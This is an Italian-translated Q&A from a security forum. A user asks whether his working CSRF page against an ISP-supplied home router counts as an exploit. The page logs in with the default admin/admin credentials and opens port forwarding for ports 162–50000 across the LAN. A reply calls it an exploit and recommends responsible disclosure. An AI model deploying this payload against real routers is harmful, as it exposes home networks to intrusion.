Che cosa costituisce un exploit? Sono stato in grado di compromettere il mio router domestico comune

3

Stava configurando il Wi-Fi a casa oggi (utilizzando solo il router predefinito Time Warner Cable) e rimase sconvolto dalla minima sicurezza fornita dal server web.

  • Il nome utente / password predefiniti è googlable ed è admin admin

  • Quando cambi le password, la modifica della password è limitata a meno di 8 caratteri e nessun carattere speciale. Nessun limite ai tentativi di password (quindi bruteforcable)

  • Nessun token CSRF

Quindi ho pensato di scrivere una semplice pagina web che porta in avanti tutto il traffico verso il primo IP assegnato per impostazione predefinita.

<!-- First form logs us in -->
<form id="login" action="http://192.168.0.1/goform/login" method=POST name="login" target="login_frame">

    <input type="password" name="loginUsername" value="admin">
    <input type="password" name="loginPassword" value="admin">
    <input id='btnLogin' type="submit" value="Login">

</form>

<!-- Second form sets settings -->
<!-- Ports from 162 - 50000 since UDP is default 161 (plus all the good ports are open later anyway). Could potentially change UDP, or set ranges from 0 - 160 as well -->
<form id="hack" action="http://192.168.0.1/goform/RgForwarding" method="POST" name="login" target="hack_frame">

    <input type="text" name="PortForwardingCreateRemove" value="0"/>
    <input type="text" name="PortForwardingExtIp" value="0.0.0.0"/>
    <input type="text" name="PortForwardingExtStartPort" value="162" />
    <input type="text" name="PortForwardingExtEndPort" value="50000"/>
    <input type="text" id="ip" name="PortForwardingLocalIp" />
    <input type="text" name="PortForwardingLocalStartPort" value="162"/>
    <input type="text" name="PortForwardingLocalEndPort"  value="50000"/>
    <input type="text" name="PortForwardingProtocol"  value="4"/>
    <input type="text" name="PortForwardingDesc"  value="Pwnage"/>
    <input type="text" name="PortForwardingEnabled" value="1" />
    <input type="text" name="PortForwardingApply" value="2" />
    <input type="text" name="PortForwardingTable" value="0" />

</form>

<!-- Iframes prevent need for popups -->
<iframe name="login_frame"></iframe>
<iframe name="hack_frame"></iframe>

<script type="text/javascript">

    // Submitting forms instead of doing XMLHttpRequest gets around
    // Chrome and other modern browsers complaining about Access-Control-Allow-Origin
    var wait = 1000;

    var login = document.getElementById('login');
    setTimeout(function(evt){ login.submit() }, wait);

    var hack = document.getElementById('hack');
    var ip = document.getElementById('ip');
    var base = "192.168.0.";
    var i = 10;
    var rinse = function(){
        if(i >= 256) return; // Impossible IPs say what?
        ip.value = base + i;
        hack.submit();
        i++;
        // Callback to malicious server to indicate the deed was done.
    }
    setTimeout(rinse, wait * 2);

    // Potentially have callback from server after attempt to exploit
    // then rinse and repeat with different ip

</script>

La parte peggiore di questo è che funziona. Questo costituisce un exploit? I produttori di router non si preoccupano solo della sicurezza? Avrei potuto provare a giocare con altre impostazioni, ma questo sembrava lasciare una vittima spalancata per metasploit. La maggior parte dei firewall OS è in grado di salvare una vittima? Dovrei comprare un altro router?

Solo alcune idee che girano intorno.

    
posta Dylan Madisetti 30.01.2015 - 08:21
fonte

1 risposta

2

I router ISP sono noti per avere una cattiva sicurezza. I router domestici in generale non sono così intelligenti per la sicurezza, ma alcuni di quelli migliori forniscono almeno aggiornamenti firmware che risolvono difetti noti. Offrono una sicurezza migliore rispetto alle controparti ISP e di solito hanno anche un set di funzioni molto migliori.

Considererei questo un exploit. Come tale, dovresti considerare dove e come pubblicare informazioni su questo - il modo migliore per gestire tali cose a mio avviso è attraverso la divulgazione responsabile:

"La divulgazione responsabile è un termine di sicurezza del computer che descrive un modello di divulgazione delle vulnerabilità. È come la divulgazione completa, con l'aggiunta che tutte le parti interessate accettano di concedere un periodo di tempo per la vulnerabilità da correggere prima di pubblicare i dettagli."

(Wikipedia: puoi leggere il resto qui: link )

Il firewall a livello di sistema operativo non attenuerà questo tipo di attacchi.

    
risposta data 30.01.2015 - 08:41
fonte

Leggi altre domande sui tag